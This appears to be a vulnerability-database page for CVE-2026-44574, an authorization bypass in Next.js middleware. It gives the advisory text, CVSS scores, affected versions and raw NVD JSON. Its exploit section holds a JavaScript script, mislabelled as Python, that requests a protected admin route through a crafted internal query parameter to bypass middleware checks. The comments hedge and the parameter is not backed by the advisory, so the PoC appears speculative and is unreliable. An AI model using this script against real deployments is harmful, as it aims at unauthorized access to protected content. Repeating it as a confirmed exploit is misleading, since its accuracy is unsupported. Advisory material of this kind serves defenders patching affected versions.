CVE-2026-44574

Description

Next.js is a React framework for building full-stack web applications. From 15.4.0 to before 15.5.16 and 16.2.5, applications that rely on middleware to protect dynamic routes can be vulnerable to authorization bypass. In affected deployments, specially crafted query parameters can alter the dynamic route value seen by the page while leaving the visible path unchanged, which can allow protected content to be rendered without passing the expected middleware check. This vulnerability is fixed in 15.5.16 and 16.2.5.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE

15.4.0 to 15.5.15

16.0.0 to 16.2.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-44574: Next.js Authorization Bypass
// Concept: Manipulating query parameters to alter dynamic route values

const axios = require('axios');

async function checkVulnerability(baseUrl) {
    // Scenario: Accessing a protected route /admin/[id] which is usually blocked
    // by middleware unless user is admin.
    
    // Normal request (blocked)
    // let normalUrl = `${baseUrl}/admin/1`;
    
    // Malicious request using crafted query parameter
    // This attempts to trick the page into thinking it's viewing a valid route
    // while the middleware sees a different path or fails to intercept correctly.
    let exploitUrl = `${baseUrl}/dashboard?__nextInternalData=nextRoute=/admin/1`;
    
    try {
        let response = await axios.get(exploitUrl);
        if (response.status === 200 && response.data.includes('Admin Panel')) {
            console.log('[+] Vulnerability Exploited! Protected content accessed.');
        } else {
            console.log('[-] Content not accessible or patched.');
        }
    } catch (error) {
        console.error('Error connecting to target:', error.message);
    }
}

checkVulnerability('http://localhost:3000');

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44574
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44574
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44574/
[4] VulDB https://vuldb.com/cve/CVE-2026-44574
[5] https://github.com/vercel/next.js/security/advisories/GHSA-492v-c6pp-mqqv

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44574", "sourceIdentifier": "[email protected]", "published": "2026-05-13T17:16:22.767", "lastModified": "2026-05-14T12:37:00.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Next.js is a React framework for building full-stack web applications. From 15.4.0 to before 15.5.16 and 16.2.5, applications that rely on middleware to protect dynamic routes can be vulnerable to authorization bypass. In affected deployments, specially crafted query parameters can alter the dynamic route value seen by the page while leaving the visible path unchanged, which can allow protected content to be rendered without passing the expected middleware check. This vulnerability is fixed in 15.5.16 and 16.2.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.4.0", "versionEndExcluding": "15.5.16", "matchCriteriaId": "A54845B2-F643-440A-B0E6-7619A18429FB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.2.5", "matchCriteriaId": "27C5CF7A-7A33-4BE4-B8FD-10BFD813204A"}]}]}], "references": [{"url": "https://github.com/vercel/next.js/security/advisories/GHSA-492v-c6pp-mqqv", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}